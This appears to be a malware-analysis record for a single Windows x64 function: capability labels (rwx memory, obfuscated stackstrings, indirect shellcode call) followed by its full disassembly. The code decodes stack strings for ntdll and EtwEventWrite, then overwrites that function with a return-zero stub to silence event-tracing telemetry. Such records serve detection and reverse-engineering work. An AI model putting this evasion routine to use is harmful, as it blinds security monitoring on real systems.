Function at 0x401a1d
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov dword [rbp - 0x18], 0
mov byte [rbp - 0x26], 0x45
mov byte [rbp - 0x25], 0x74
mov byte [rbp - 0x24], 0x77
mov byte [rbp - 0x23], 0x45
mov byte [rbp - 0x22], 0x76
mov byte [rbp - 0x21], 0x65
mov byte [rbp - 0x20], 0x6e
mov byte [rbp - 0x1f], 0x74
mov byte [rbp - 0x1e], 0x57
mov byte [rbp - 0x1d], 0x72
mov byte [rbp - 0x1c], 0x69
mov byte [rbp - 0x1b], 0x74
mov byte [rbp - 0x1a], 0x65
mov byte [rbp - 0x19], 0
mov byte [rbp - 0x2c], 0x6e
mov byte [rbp - 0x2b], 0x74
mov byte [rbp - 0x2a], 0x64
mov byte [rbp - 0x29], 0x6c
mov byte [rbp - 0x28], 0x6c
mov byte [rbp - 0x27], 0
mov byte [rbp - 0x30], 0x48
mov byte [rbp - 0x2f], 0x33
mov byte [rbp - 0x2e], 0xc0
mov byte [rbp - 0x2d], 0xc3
lea rax, [rbp - 0x2c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x26]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x401b31
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x11]
mov rcx, rax
call fcn.00401648
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 8]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 8]
mov qword [rbp - 0x48], rax
mov eax, dword [rbp + 0x10]
mov dword [rbp - 0x40], eax
movzx eax, word [rbp + 0x14]
mov word [rbp - 0x3c], ax
movzx eax, byte [rbp + 0x16]
mov byte [rbp - 0x3a], al
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.00424c60
mov eax, 0
jmp 0x401c62
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x401bbe
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x1f]
mov rcx, rax
call fcn.00401792
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x38]
mov qword [rbp - 0x48], rax
mov eax, dword [rbp + 0x40]
mov dword [rbp - 0x40], eax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.00424b70
mov eax, 0
jmp 0x401c62
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp + 0x88]
mov dword [rax], edx
mov ecx, dword [rbp - 0x18]
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rdx
mov r8d, ecx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x80], eax
cmp dword [rbp + 0x80], 0
jne 0x401c5d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.004018c4
mov rax, qword [rbp + 0x50]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp + 0x68]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x40], rax
movzx eax, byte [rbp + 0x78]
mov byte [rbp - 0x38], al
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.00424e40
mov eax, 0
jmp 0x401c62
mov eax, 1
add rsp, 0x118
pop rbx
pop rbp
ret